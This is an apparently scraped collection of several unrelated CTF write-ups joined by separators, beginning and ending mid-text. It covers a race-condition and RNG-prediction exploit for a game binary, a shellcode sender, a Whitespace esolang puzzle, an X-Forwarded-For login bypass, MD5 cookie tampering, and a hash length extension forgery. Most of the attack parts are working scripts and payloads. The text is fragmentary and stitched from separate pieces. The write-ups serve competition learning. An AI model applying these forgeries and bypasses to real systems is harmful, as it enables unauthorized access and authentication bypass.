``` c // Initializing random generator with current time as seed v3 = time(0LL); srand(v3); playerActionCount = 0; while ( 2 ) { if ( playerActionCount > 249 ) { puts("Game Over"); result = 0LL; } else if ( byte_6033F0 ) { puts("What's your name?"); scanf("%s", &v9;; result = 0LL; } else { showMenu(); printf("choice:", a2); a2 = (char **)&input; scanf("%d", &input); switch ( input ) { case 1: showHelp(); goto LABEL_12; case 2: a2 = 0LL; pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL); goto LABEL_12; case 3: changeSkill((__int64)&game;; goto LABEL_12; case 4: removeSkill((__int64)&game;; goto LABEL_12; case 5: receiveSuggestion();LABEL_12: if ( input == 2 ) { defendFunc((__int64)&game;; sleep(0); } ++playerActionCount; continue; default: result = 0LL; break; } } break; }```
Option 2 is for "Use skill", which lets us attack the boss. It will start a new thread for calculating the player attack against the boss and then calls the "defend"-function (in the main thread), in which the attack from the boss is handled. After that, it will directly loop back into the menu.
We should keep that in mind, since this makes it possible to trigger another option, while the attack thread is still running, if executed fast enough.
First, we tried to just stay alive and kill the boss by just not dying. To be able to do this, we need to know what attack the boss will be doing next, before it is executed. So let's have a look at the "defend" function:
**Defend**
```C puts("\n========================================Boss' Attack"); puts("Boss is Attacking you!"); showShieldMenu(); // Just shows the option we can use printf("choice:"); scanf("%d", &v7;; // Set the shield we're using to 1 switch ( v7 ) { case 2: *(_BYTE *)(a1 + 13) = 1; // fire shield break; case 3: *(_BYTE *)(a1 + 14) = 1; // wind shield break; case 1: *(_BYTE *)(a1 + 12) = 1; // ice shield break; } // Calculate the attack the boss will use bossAttackRand = rand(); v8 = bossAttackRand; bossAttack = ((((unsigned int)((unsigned __int64)bossAttackRand >> 32) >> 30) + (_BYTE)bossAttackRand) & 3) - ((unsigned int)((unsigned __int64)bossAttackRand >> 32) >> 30); v9 = bossAttack; if ( bossAttack == 1 ) { if ( *(_BYTE *)(a1 + 14) ) { puts("You succeed in defense"); } else { v4 = *(_QWORD *)a1; *(_QWORD *)a1 = v4 - return250_2(); } } else if ( bossAttack == 2 ) { if ( *(_BYTE *)(a1 + 13) ) { puts("You succeed in defense"); } else { v5 = *(_QWORD *)a1; *(_QWORD *)a1 = v5 - return250(); } } else if ( !bossAttack ) { if ( *(_BYTE *)(a1 + 12) ) { puts("You succeed in defense"); } else { v3 = *(_QWORD *)a1; *(_QWORD *)a1 = v3 - return250_3(); } } resetShields(a1); showPlayerHP((_QWORD *)a1); puts("========================================");```
So it basically just uses
```crand() & 3```
to calculate the attack, the boss will be using.
Since the random generator was initialized with the current time as seed, we should easily be able to guess the attack every time and use the appropriate shield by initializing our own random generator with the same time (which is just current time at process start).
We'll have to bear in mind, that in the player attack thread also a rand() is used to calculate the damage the player is doing to the boss. So we'll need to consume two rand()'s per round to stay in sync with the app rng.
So we'll start just casting iceball again and again, while defending perfectly against the boss attacks.
**First try**
```python#!/usr/bin/pythonfrom pwnlib.tubes import processfrom ctypes import *import sys, time, re
cdll.LoadLibrary("libc.so.6")libc = CDLL("libc.so.6")
playerLevel = 1playerHP = 500bossHP = 100counter = 0
# Change curently used skilldef changeskill(skill): r.sendline('3') r.sendline(str(skill)) r.recvuntil("Exit\n")
# Get the matching shield countering the boss attackdef getShieldToUse(attack): if attack == 1: return 3 elif attack == 2: return 2 else: return 1
# just a helper to match current statesdef findValue(pattern, msg, defValue): match = re.search(pattern, msg, re.S)
if match: return int(match.group(1))
return defValue
# check for state changes in server responsesdef checkForStates(msg): global playerLevel, bossHP, playerHP
playerLevel = findValue("level:(.?)\n", msg, playerLevel) bossHP = findValue("Boss's hp is (.+?)\n", msg, bossHP) playerHP = findValue("Your HP is (.+?)\n", msg, playerHP)
# Call the "Use skill" option to attack the boss and defend against his attackdef useskill(): global counter, playerLevel, playerHP, bossHP
# print out some info print ("") print ("Start attack round") print ("") print (" [+] Current level : %d" % playerLevel) print (" [+] Player HP : %d" % playerHP) print (" [+] Boss HP : %d" % bossHP) print ("")
# Send "Use skill" r.sendline('2')
libc.rand() # consume rand for player attack in attack thread bossAttack = libc.rand() & 3 # rand for boss attack in defend function
time.sleep(0.1)
useShield = getShieldToUse(bossAttack)
# Send the shield we want to use to the server r.sendline(str(useShield))
# Receive responses and update player states checkForStates(r.recv(timeout=1)) checkForStates(r.recvuntil("Exit\n", timeout=1))
def exploit(r): r.recvuntil("Exit\n", timeout=0.2)
# Select iceball changeskill(3)
while 1: # Keep attacking useskill()
r = process.process("./hunting")
# Initialize rng with current timelibc.srand(libc.time(None))
exploit(r)```
Ok, that made us invincible for now, so it wasn't a problem anymore to kill the boss without losing any health:
```shell$ python xplshield.py [+] Started program './hunting'
Start attack round
[+] Current level : 1 [+] Player HP : 500 [+] Boss HP : 100
Start attack round
[+] Current level : 2 [+] Player HP : 500 [+] Boss HP : -502
[SNIP]
Start attack round
[+] Current level : 3 [+] Player HP : 500 [+] Boss HP : 580
Start attack round
[+] Current level : 4 [+] Player HP : 500 [+] Boss HP : -136
Start attack round
[+] Current level : 4 [+] Player HP : 500 [+] Boss HP : 9223372036854775033
Start attack round
[+] Current level : 4 [+] Player HP : 500 [+] Boss HP : 9223372036854774952```
But at level 4, the boss hp jumped up just a "little bit". Since our damage value is calculated in 32bit, it would've taken forever to kill the boss this way.
So we need another approach to kill the boss faster. Let's check how the player damage is calculated:
```C puts("\n========================================Skill Activation"); printf("\rYou use %s\n", a1 + 32); for ( i = 0; i <= 8 && strcmp((const char *)(a1 + 32), &aAttack[32 * i]); ++i ); executePlayerAttack(a1 + 32); if ( useSkillLockObject ) { printf("You are already using the skill. Skill failed to use:%s\n", a1 + 32); } else { useSkillLockObject = 1; if ( i <= 4 ) { // Check that the damage value isn't negative if ( *(_QWORD *)(a1 + 72) < 0LL ) { puts("Damage can't be negative number!"); } else { // Subtract the rand()-value from boss hp (converts the 32bit dmg to 64bit signed with cdqe before) *(_QWORD *)(a1 + 24) -= (signed int)*(_QWORD *)(a1 + 72); printf("Boss's hp is %ld\n", *(_QWORD *)(a1 + 24)); } } // Check that the damage value isn't negative else if ( *(_QWORD *)(a1 + 72) < 0LL ) { puts("Damage can't be negative number!"); } else { // Subtract the rand() value from boss hp *(_QWORD *)(a1 + 24) -= *(_QWORD *)(a1 + 72); printf("Boss's hp is %ld\n", *(_QWORD *)(a1 + 24)); } checkBossDeath((__int64)&game;; useSkillLockObject = 0; } *(_QWORD *)(a1 + 72) = 0LL; return puts("\n=======================================");}```
In the executePlayerAttack function, it will check for the skill we're currently using and depending on it, our damage will be calculated .
Just a quick peek at some skills and their calculations:
**Iceball**```C sleep(0); result = (unsigned __int64)executeIceball((_QWORD *)(a1 + 40));``````C v1 = (unsigned __int16)rand() % 1000; *a1 = v1; // Damage for iceball```
**Fireball**```C executeFireball((_QWORD *)(a1 + 40)); result = sleep(1u);```
```c v1 = (rand() % 1000 << 16) % 100; *a1 = v1; // Damage for fireball```
**Icesword**```c executeIcesword((_QWORD *)(a1 + 40)); result = sleep(1u);``````c v1 = (unsigned __int16)rand(); v2 = (rand() << 16) & 0x8FFFFFFF | v1; v3 = v2 | ((signed __int64)rand() << 32) & 0xFFFF00000000LL; *a1 = 0xFFFFFFFFLL; // Damage for icesword```
So there are some subtile differences between those skills.
- Iceball can do a good amount of damage (0-1000). - Fireball can do a max damage of 100, but it lets the attack thread sleep for 1 second, which iceball doesn't.- Icesword seems to be calculating alot but in reality it just always returns "-1" as dmg (0xffffffff in 32 bit)
Back to the attacking thread. It tries to "lock" the attack calculation with an if/else checking if a "lock object" is set.
```cif ( useSkillLockObject ) { printf("You are already using the skill. Skill failed to use:%s\n", a1 + 32); } else { useSkillLockObject = 1;```
One of the most common examples of how **not** to implement "thread safety". Since we're multi-threading, the attack thread can suspend on every instruction, letting other threads (like the main thread) do something.
The attack thread will then check, if we're using a skill below or equal "4", and if so, subtracts its damage value from the boss hp (**calling cdqe before, converting the damage value into a signed 64 bit value**). If we're using a skill above 4 it won't convert the damage value and use the value as it is.
This means, if we're using icesword, the binary is using the second damage calculation, interpreting the value as 64 bit 0xFFFFFFFF (resulting in 4294967295 damage, which means nothing to the current boss hp). But if we would be able to get it to use the first calculation it would convert the damage of icesword to a qword resulting in a 64 bit 0xFFFFFFFFFFFFFFFF (resulting in -1 damage, which would then be suctracted, and thus gets **added** onto the boss hp).
Since the boss has 0x7FFFFFFFFFFFFFFF (9223372036854775807) HP , adding 1 to it, would let it "overflow" to 0x8000000000000000 (-9223372036854775808) HP, killing him instantenously.
So what we need to do:
- Let the binary think we're using a skill <= 4, to get into the first "calculation method"- Get over the negative damage check - Change the skill just before the damage gets subtracted from the boss hp by switching to icesword and attack with it
The sleep from "Fireball" and "Icesword" is there to help with this. As soon as we reach level 4 we will change our attack pattern to:
- Select "Fireball"- Use skill- Immediately change skill to "Ice sword"- Use skill
If we manage to do this in the correct timing, this should do the following:
- Enter the boss attack thread, trying to execute fireball- The fireball calculation will create some minor damage value, then sleep 1 second (giving us time to send another input)- The boss attack thread will then check, if we're using a skill below or equal to "4" (which fireball is)- While this is happening we're already switching our skill on the main thread to "Ice sword" and execute another attack- Since the damage from icesword will be calculated 1 second after fireball the chances are high, that we'll pass the "skill lock" and the "skill" check, and replace the player damage with 0xFFFFFFFF, which gets then converted to "-1" just before subtracting it from the boss hp.
```python if playerLevel == 4: # On level4 we can use icesword which results in -1 dmg r.recv(timeout=1)
# Try to guess the boss attack, but this doesn't work reliable anymore since # fireball also adds another sleep, so we just have to hope ;-) bossAttack = libc.rand() & 3 libc.rand() & 3 libc.rand() & 3 libc.rand() & 3
useShield = getShieldToUse(bossAttack)
# This will switch to fireball, attack and immediately switch $ # (while the attack thread is running and already passed the skill check) time.sleep(1) r.send("3\n2\n2\n%s\n" % str(useShield)) time.sleep(0.1) r.send("3\n7\n2\n1\n")
checkForStates(r.recv())
time.sleep(10)
counter += 1
if counter==2: # Hopefully we killed the boss here, executing cat /ho$ r.interactive()
return```
Race conditions aren't always very predictable, but after two or three tries, the script resulted in a "boss kill", which rewarded us with another flag:
```bashYou use iceswordBoss hp is -9223372036854775808Contraturation! You win!You are already using the skill. Skill failed to use:icesword
=============================s1mp13_rac3_c0nd1t10n_gam3_```
|
script:from pwn import *r = remote('i-am-the-shortest-6d15ba72.ctf.bsidessf.net',8890)r.recvuntil('.\n')r.sendline('\x48\x89\xf1\xcd\x80')r.interactive() |
We were given a C (C++ in fact) code and that was all. Of course, my first idea was to start reading that cryptic code, deciphering its loops and so on.
Sometime during the contest the admin posted this hint:
HINT: It's much more than just a C program
So, could it be something other than a C program? Let's see. The first thing that caught my C-eyes was that identation... sends shivers down the spine. Now wait a minute! Look at the whitespaces. It reminds me that esolang, *Whitespace*!
And that was it indeed. The code was in the whitespaces, not the proper characters themselves. Using this interpreter http://ws2js.luilak.net/interpreter.html we got the flag.
the_flag_is_WpUAItsadmhak |
I found this when view source code: MmI0YjAzN2ZkMWYzMDM3NWU1Y2Q4NzE0NDhiNWI5NWM= . This is a base64 string, decode it we will have : coldplayparadiseBut when i put coldplay in username and paradise in password, the website give me that : Password:
Mismatch in host table! Please contact your administrator for access. IP logged.
It means my IP adress is not authorized yet. So i will cheat by adding X-Forwarded-For:127.0.0.1 header using Burpsuite, username still coldplay and password still paradiseTADADADADADA~~~~Result: The flag is: 4f9361b0302d4c2f2eb1fc308587dfd6 |
Hints : British Biscuit = Cookie.I try username=admin & password=admin, login success but it gives me that this is a limited user. Let check cookie:r - 351e766803d63c7ede8cb1e1c8db5e51c63fd47cffu - 351e76680321232f297a57a5a743894a0e4a801fc3we have similar string in both cookie : "351e766803". Put it away we will have a md5 string r - d63c7ede8cb1e1c8db5e51c63fd47cff = limitedu - 21232f297a57a5a743894a0e4a801fc3 = adminChange the cookie value r into md5(admin) and yup :Congratulations! The flag is: bb6df1e39bd297a47ed0eeaea9cac7ee |
# Vhash (crypto 450p)
###ENG[PL](#pl-version)
In the task we get access to a webpage where we can login as guest/guest and as a result we get a cookie containing:
`SOME_LONG_HEX_HASH|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&`
We also get to see the [source code](index.php) of the webpage and a [binary](vhash) which is used to generate the hash value.
From analysis of the index page we can see that the hash value is generated with
```php function create_hmac($data) { return do_hash(SECRET . $data); } ``` So there is some secret glued in front of the cookie data and then `vhash` binary is execute on this input.When the website is authenticating us with the cookie it takes the cookie data, calculates the hash again and compares it agains what is in the cookie.The idea is that we can't modify the cookie value (eg, by setting username to `admin`) because the hash would have to be changed as well.And we can't calculate the proper hash without knowing the secret bytes added by the server.
We notice that the server creates a map out of cookie parameters by parsing them in-order.As a result if a certain property is defined more than once, only the last value will get stored:
```php $pairs = explode('&', $cookie); $args = array(); foreach($pairs as $pair) { if(!strpos($pair, '=')) continue;
list($name, $value) = explode('=', $pair, 2); $args[$name] = $value; } $username = $args['username'];```
So if we could append to the cookie `&username=administrator&` we would get past the security check!
Once we reverse engineer vhash binary and analyse it, we can see that it is actually prone to `Hash Length Extension` attack.The general schema of the algorithm is:
1. Set initial state2. Split input into blocks3. For each block: - Take input block - Use `hash_update` to perform computations over the current state and input block - Save the results as new current state4. Finalize the algorithm by using `hash_update` with a certain fixed block dependent only on length of already hashed input5. Print current state as final hash
We know that the cookie we get from the page is in fact hashed value of `secret+cookie_payload+final_hash_block`.If we now set this hash as `current state` of the hashing algorithm and perform `hash_update` with some additional payload we will actually get a proper hash value for `secret+cookie_payload+final_hash_block+additional_payload`!And since we know exactly how long this payload is, we can also add here the new `final_hash_block2`, as a result getting a proper hash value of `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.All of this without actually knowing the `secret` bytes at all, just the `state` of the algorithm.
Now let's think what server will do if we pass as cookie payload string of `cookie_payload+final_hash_block+additional_payload`.The server will add secret bytes in front getting `secret+cookie_payload+final_hash_block+additional_payload` and then will hash it adding the final block at the end, which will result in `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.And this is exactly the same thing as we mentioned before!So by passing such input we can actually generate proper hash value without knowing the secret.
We rewritten the hash algorithm into C to be able to test is easily:
```c#include <cstdint>#include <cstdio>#include <cstring>#include <x86intrin.h>
struct vhash_ctx{ uint32_t state[32];};
inline unsigned int rol4(unsigned int value, int count) { return _rotl((unsigned int)value, count); }
void vhash_init(vhash_ctx *vctx){ memcpy(vctx, "vhas", 4uLL); memcpy(&vctx->state[1], "h: r", 4uLL); memcpy(&vctx->state[2], "ock ", 4uLL); memcpy(&vctx->state[3], "hard", 4uLL); memcpy(&vctx->state[4], " 102", 4uLL); memcpy(&vctx->state[5], "4 bi", 4uLL); memcpy(&vctx->state[6], "t se", 4uLL); memcpy(&vctx->state[7], "curi", 4uLL); memcpy(&vctx->state[8], "ty. ", 4uLL); memcpy(&vctx->state[9], "For ", 4uLL); memcpy(&vctx->state[10], "thos", 4uLL); memcpy(&vctx->state[11], "e sp", 4uLL); memcpy(&vctx->state[12], "ecia", 4uLL); memcpy(&vctx->state[13], "l mo", 4uLL); memcpy(&vctx->state[14], "mome", 4uLL); memcpy(&vctx->state[15], "nts ", 4uLL); memcpy(&vctx->state[16], "when", 4uLL); memcpy(&vctx->state[17], " you", 4uLL); memcpy(&vctx->state[18], " nee", 4uLL); memcpy(&vctx->state[19], "d th", 4uLL); memcpy(&vctx->state[20], "robb", 4uLL); memcpy(&vctx->state[21], "ing ", 4uLL); memcpy(&vctx->state[22], "perf", 4uLL); memcpy(&vctx->state[23], "orma", 4uLL); memcpy(&vctx->state[24], "nce.", 4uLL); memcpy(&vctx->state[25], " Ask", 4uLL); memcpy(&vctx->state[26], " you", 4uLL); memcpy(&vctx->state[27], "r do", 4uLL); memcpy(&vctx->state[28], "ctor", 4uLL); memcpy(&vctx->state[29], " abo", 4uLL); memcpy(&vctx->state[30], "ut v", 4uLL); memcpy(&vctx->state[31], "hash", 4uLL);}
void vhash_round(vhash_ctx *vctx){ for (int i = 0; i <= 31; ++i ) ++vctx->state[i]; for (int ia = 0; ia <= 31; ++ia ) { uint32_t v1 = rol4(vctx->state[ia], ia); vctx->state[ia] = v1; } for (int ib = 0; ib <= 31; ++ib ) vctx->state[ib] += vctx->state[((((unsigned int)((ib + 1) >> 31) >> 27) + (uint8_t)ib + 1) & 0x1F) - ((unsigned int)((ib + 1) >> 31) >> 27)]; for (int ic = 0; ic <= 31; ++ic ) vctx->state[ic] ^= vctx->state[((((unsigned int)((ic + 7) >> 31) >> 27) + (uint8_t)ic + 7) & 0x1F) - ((unsigned int)((ic + 7) >> 31) >> 27)]; uint32_t t = vctx->state[0]; for (int id = 0; id <= 30; ++id ) vctx->state[id] = vctx->state[id + 1]; vctx->state[31] = t;}
void vhash_update(vhash_ctx *vctx, uint32_t (*in)[4]){ for (int i = 0; i <= 31; ++i ) vctx->state[i] += (*in)[((((unsigned int)((uint64_t)i >> 32) >> 30) + (uint8_t)i) & 3) - ((unsigned int)((uint64_t)i >> 32) >> 30)]; for (int ia = 0; ia <= 511; ++ia ) vhash_round(vctx); for (int ib = 0; ib <= 31; ++ib ) vctx->state[ib] ^= (*in)[((((unsigned int)((uint64_t)ib >> 32) >> 30) + (uint8_t)ib) & 3) - ((unsigned int)((uint64_t)ib >> 32) >> 30)]; for (int ic = 0; ic <= 511; ++ic ) vhash_round(vctx);}
void vhash_final(vhash_ctx *vctx, uint32_t len){ uint32_t f[4]; f[0] = 2147483648; f[1] = len; f[2] = 0; f[3] = -1; vhash_update(vctx, (uint32_t (*)[4])f);}
void print_hash(vhash_ctx *vctx){ for (int i = 0; i <= 7; ++i ) printf( "%08x%08x%08x%08x", vctx->state[4 * i], vctx->state[4 * i + 1], vctx->state[4 * i + 2], vctx->state[4 * i + 3]); printf("\n");}
void process_data(const char *data, vhash_ctx* vctx, uint32_t &size, uint32_t len) { int done = 0; size= 0; uint32_t block[4]; while ( !done ) { memset(block, 0, 0x10uLL); for (int i = 0; (unsigned int)i <= 0xF; ++i ) { if ( size<len ) { uint8_t inbyte = data[size]; ++size; block[i / 4] |= inbyte << 8 * (3 - (char)i % 4); } else { done = 1; break; } } vhash_update(vctx, (uint32_t (*)[4])block); if(size==len){ done=1; } }}
void hash(const char* data, uint32_t len) { vhash_ctx vctx; vhash_init(&vctx); uint32_t size; process_data(data, &vctx, size, len); vhash_final(&vctx, size); print_hash(&vctx);}```
And now with those primitives in place we created a function for generating the fake signature hash:
```cvoid rigged(vhash_ctx *vectx, const char* data, uint32_t len){ set_initial_state(vectx); uint32_t size; process_data(data, vectx, size, len); vhash_final(vectx, 120); print_hash(vectx);}```
What we do here is set the initial state from the cookie we have, then perform hashing step with our additional payload and then add the final block, using `120` as the size of the whole input because this is how long it should be.It is because the payload we are actually hashing has format:
```12345678username=guest&date=2017-02-14T00:22:54+0100&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&```
assuming `12345678` as secret.`\0` bytes comes from the padding added to the last input block when it gets hashed and `\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff` is the final block added by the server to the initial cookie (notice 0x45 as input size).
We used a small python script to generate the state initializer from cookie value:
```pythonfrom crypto_commons.generic import chunk
def dump_state(data): print("\n".join(["vectx->state[" + str(i) + "] = 0x" + c + ";" for i, c in enumerate(chunk(data, 8))]))
def main(): data = 'e4d6ed47e23694e76f8a611111fd7b52a980e40a718b28256342adc740814a09fa4592e434dbb0b2b5d3405dd554e5b40f432cfb7cbf6fe06d95ed16cc1f1b21f0d5f5b432b0e82c9ce0693ed4caca8cf7a035e48a29fc358d75bb0674d5e0b910252bfc1712a76698662a0ea4441183d4b3d7f1ade921ae47f0b0c641e25813' dump_state(data)
main()```
and it generates the contents for `set_initial_state`:
```cvoid set_initial_state(const vhash_ctx *vectx) { vectx->state[0] = 0xe4d6ed47; vectx->state[1] = 0xe23694e7; vectx->state[2] = 0x6f8a6111; vectx->state[3] = 0x11fd7b52; vectx->state[4] = 0xa980e40a; vectx->state[5] = 0x718b2825; vectx->state[6] = 0x6342adc7; vectx->state[7] = 0x40814a09; vectx->state[8] = 0xfa4592e4; vectx->state[9] = 0x34dbb0b2; vectx->state[10] = 0xb5d3405d; vectx->state[11] = 0xd554e5b4; vectx->state[12] = 0x0f432cfb; vectx->state[13] = 0x7cbf6fe0; vectx->state[14] = 0x6d95ed16; vectx->state[15] = 0xcc1f1b21; vectx->state[16] = 0xf0d5f5b4; vectx->state[17] = 0x32b0e82c; vectx->state[18] = 0x9ce0693e; vectx->state[19] = 0xd4caca8c; vectx->state[20] = 0xf7a035e4; vectx->state[21] = 0x8a29fc35; vectx->state[22] = 0x8d75bb06; vectx->state[23] = 0x74d5e0b9; vectx->state[24] = 0x10252bfc; vectx->state[25] = 0x1712a766; vectx->state[26] = 0x98662a0e; vectx->state[27] = 0xa4441183; vectx->state[28] = 0xd4b3d7f1; vectx->state[29] = 0xade921ae; vectx->state[30] = 0x47f0b0c6; vectx->state[31] = 0x41e25813;}```
Now we just need to run `rigged(&vctx,"&username=administrator&", 24);` and it will print the proper hash value.
Last step was just to send this to the game server with:
```pythonimport urllibimport requests
def main(): cookies = {"auth": urllib.quote_plus( "39005958a36fcfabc56482ef87d46c3e1aec3c7babbc487dfc73d5c48441f24e67ffb44a2814be8e2e890e282188430b442ec8bea4c18a80cf03568de70b98234395e39a75a541290cf419680a436ec1bc6da7730a130fa71f947b3f43c86c40b5eb983934bc57cbd0802795b5a8760277ff9aa0bdcdc84fa8b20c7eab97af03|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&")} result = requests.get("http://thenewandlessbrokenvhash.ctf.bsidessf.net:9292/index.php", cookies=cookies) print(result.content)
main()```
And it gave us `FLAG:06c211f73f4f5ba198c7fb56145b39a2` in response.
###PL version
W zadaniu dostajemy dostęp do strony gdzie możemy zalogować się jako guest/guest a jako wynik dostajemy cookie zawierące:
`SOME_LONG_HEX_HASH|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&`
Dostajemy też [kod strony](index.php) oraz [binarke](vhash) która jest użyta do generowania hasha.
Z analizy strony php możemy zauważyć, że hash jest generowany przez:
```php function create_hmac($data) { return do_hash(SECRET . $data); } ``` Więc jest pewna sekretna wartość doklejana na początku danych cookie a następnie `vhash` jest uruchamiany na takim wejściu.Kiedy strona autentykuje nas za pomocą cookie, bierze dane, wylicza hasha i porównuje z tym co zapisane w cookie.Idea jest taka, ze nie możemy zmienić wartości w cookie (np. ustawić username na `admin`) bo hash też trzeba by odpowiednio zmienić.A nie możemy obliczyć tego nowego hasha bez znajomości sekretnych bajtów doklejanych przez serwer.
Zauważamy dodatkowo że serwer tworzy mapę z parametrów w cookie parsując je w kolejności.To oznacza, że jeśli jakiś parametr występuje więcej niż raz to tylko jego ostatnia wartość będzie zapisana:
```php $pairs = explode('&', $cookie); $args = array(); foreach($pairs as $pair) { if(!strpos($pair, '=')) continue;
list($name, $value) = explode('=', $pair, 2); $args[$name] = $value; } $username = $args['username'];```
Więc gdybyśmy mogli dodać do cookie `&username=administrator&` przeszlibyśmy sprawdzenie tożsamości!
Po zreversowaniu binarki vhash i wstępnej analizie doszliśmy do wniosku, że algorytm jest podatny na atak `Hash Length Extension`.Generaly przebieg algorytmu to:
1. Ustaw stan początkowy2. Podziel dane na bloki3. Dla każdego bloku - Weź blok - Użyj `hash_update` żeby wykonać obliczenia na aktualnym stanie oraz bloku wejściowym - Zapisz wyniki jako nowy stan4. Zakończ algorytm poprzez `hash_update` z pewnym stałym blokiem zaleznym jedynie od długosci hashowanego inputu.5. Wypisz aktualny stan jako końcowy hash.
Wiemy że cookie które dostajemy ze strony to w rzeczywistości wynik hashowania `secret+cookie_payload+final_hash_block`.Jeśli ustawimy ten hash jako aktualny stan algorytmu i wykonamy `hash_update` z jakimś dodatkowym payloadem to dostaniemy poprawny hash dla danych `secret+cookie_payload+final_hash_block+additional_payload`!A skoro wiem też jaką długość ma cały ten payload to możemy dodać też nowy `final_hash_block2`, w rezultacie uzyskując poprawny hash dla `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.I to wszystko bez znajomosci bajtów oznaczonych jako `secret`, tylko dzięki znajomości stanu algorytmu.
Zastanówmy się teraz co się stanie jeśli wyślemy do serwera jako dane `cookie_payload+final_hash_block+additional_payload`.Serwer doda do tego sekretne bajty dostając `secret+cookie_payload+final_hash_block+additional_payload` a potem zahashuje dodając na końcu finalny blok, dostając tym samym hash dla result in `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.A to jest dokładnie to samo o czym napisaliśmy wyżej!Więc wysyłając takie dane możemy wygenerować lokalnie poprawny hash nie znając sekretu.
Przepisaliśmy algorytm hashowania do C żeby móc wygodnie to testować:
```c#include <cstdint>#include <cstdio>#include <cstring>#include <x86intrin.h>
struct vhash_ctx{ uint32_t state[32];};
inline unsigned int rol4(unsigned int value, int count) { return _rotl((unsigned int)value, count); }
void vhash_init(vhash_ctx *vctx){ memcpy(vctx, "vhas", 4uLL); memcpy(&vctx->state[1], "h: r", 4uLL); memcpy(&vctx->state[2], "ock ", 4uLL); memcpy(&vctx->state[3], "hard", 4uLL); memcpy(&vctx->state[4], " 102", 4uLL); memcpy(&vctx->state[5], "4 bi", 4uLL); memcpy(&vctx->state[6], "t se", 4uLL); memcpy(&vctx->state[7], "curi", 4uLL); memcpy(&vctx->state[8], "ty. ", 4uLL); memcpy(&vctx->state[9], "For ", 4uLL); memcpy(&vctx->state[10], "thos", 4uLL); memcpy(&vctx->state[11], "e sp", 4uLL); memcpy(&vctx->state[12], "ecia", 4uLL); memcpy(&vctx->state[13], "l mo", 4uLL); memcpy(&vctx->state[14], "mome", 4uLL); memcpy(&vctx->state[15], "nts ", 4uLL); memcpy(&vctx->state[16], "when", 4uLL); memcpy(&vctx->state[17], " you", 4uLL); memcpy(&vctx->state[18], " nee", 4uLL); memcpy(&vctx->state[19], "d th", 4uLL); memcpy(&vctx->state[20], "robb", 4uLL); memcpy(&vctx->state[21], "ing ", 4uLL); memcpy(&vctx->state[22], "perf", 4uLL); memcpy(&vctx->state[23], "orma", 4uLL); memcpy(&vctx->state[24], "nce.", 4uLL); memcpy(&vctx->state[25], " Ask", 4uLL); memcpy(&vctx->state[26], " you", 4uLL); memcpy(&vctx->state[27], "r do", 4uLL); memcpy(&vctx->state[28], "ctor", 4uLL); memcpy(&vctx->state[29], " abo", 4uLL); memcpy(&vctx->state[30], "ut v", 4uLL); memcpy(&vctx->state[31], "hash", 4uLL);}
void vhash_round(vhash_ctx *vctx){ for (int i = 0; i <= 31; ++i ) ++vctx->state[i]; for (int ia = 0; ia <= 31; ++ia ) { uint32_t v1 = rol4(vctx->state[ia], ia); vctx->state[ia] = v1; } for (int ib = 0; ib <= 31; ++ib ) vctx->state[ib] += vctx->state[((((unsigned int)((ib + 1) >> 31) >> 27) + (uint8_t)ib + 1) & 0x1F) - ((unsigned int)((ib + 1) >> 31) >> 27)]; for (int ic = 0; ic <= 31; ++ic ) vctx->state[ic] ^= vctx->state[((((unsigned int)((ic + 7) >> 31) >> 27) + (uint8_t)ic + 7) & 0x1F) - ((unsigned int)((ic + 7) >> 31) >> 27)]; uint32_t t = vctx->state[0]; for (int id = 0; id <= 30; ++id ) vctx->state[id] = vctx->state[id + 1]; vctx->state[31] = t;}
void vhash_update(vhash_ctx *vctx, uint32_t (*in)[4]){ for (int i = 0; i <= 31; ++i ) vctx->state[i] += (*in)[((((unsigned int)((uint64_t)i >> 32) >> 30) + (uint8_t)i) & 3) - ((unsigned int)((uint64_t)i >> 32) >> 30)]; for (int ia = 0; ia <= 511; ++ia ) vhash_round(vctx); for (int ib = 0; ib <= 31; ++ib ) vctx->state[ib] ^= (*in)[((((unsigned int)((uint64_t)ib >> 32) >> 30) + (uint8_t)ib) & 3) - ((unsigned int)((uint64_t)ib >> 32) >> 30)]; for (int ic = 0; ic <= 511; ++ic ) vhash_round(vctx);}
void vhash_final(vhash_ctx *vctx, uint32_t len){ uint32_t f[4]; f[0] = 2147483648; f[1] = len; f[2] = 0; f[3] = -1; vhash_update(vctx, (uint32_t (*)[4])f);}
void print_hash(vhash_ctx *vctx){ for (int i = 0; i <= 7; ++i ) printf( "%08x%08x%08x%08x", vctx->state[4 * i], vctx->state[4 * i + 1], vctx->state[4 * i + 2], vctx->state[4 * i + 3]); printf("\n");}
void process_data(const char *data, vhash_ctx* vctx, uint32_t &size, uint32_t len) { int done = 0; size= 0; uint32_t block[4]; while ( !done ) { memset(block, 0, 0x10uLL); for (int i = 0; (unsigned int)i <= 0xF; ++i ) { if ( size<len ) { uint8_t inbyte = data[size]; ++size; block[i / 4] |= inbyte << 8 * (3 - (char)i % 4); } else { done = 1; break; } } vhash_update(vctx, (uint32_t (*)[4])block); if(size==len){ done=1; } }}
void hash(const char* data, uint32_t len) { vhash_ctx vctx; vhash_init(&vctx); uint32_t size; process_data(data, &vctx, size, len); vhash_final(&vctx, size); print_hash(&vctx);}```
A teraz mając powyższe prymitywy mogliśmy napisać funkcje generującą fałszywy hash:
```cvoid rigged(vhash_ctx *vectx, const char* data, uint32_t len){ set_initial_state(vectx); uint32_t size; process_data(data, vectx, size, len); vhash_final(vectx, 120); print_hash(vectx);}```
Ustawiamy tutaj początkowy stan wzięty z cookie ze strony, następnie wykonujemy update z naszym dodatkowym payloadem a potem dodajemy finalny blok używając `120` jako długości całych danych, bo tyle będą teraz miały.Jest tak ponieważ dane które hashuje serwer mają postać:
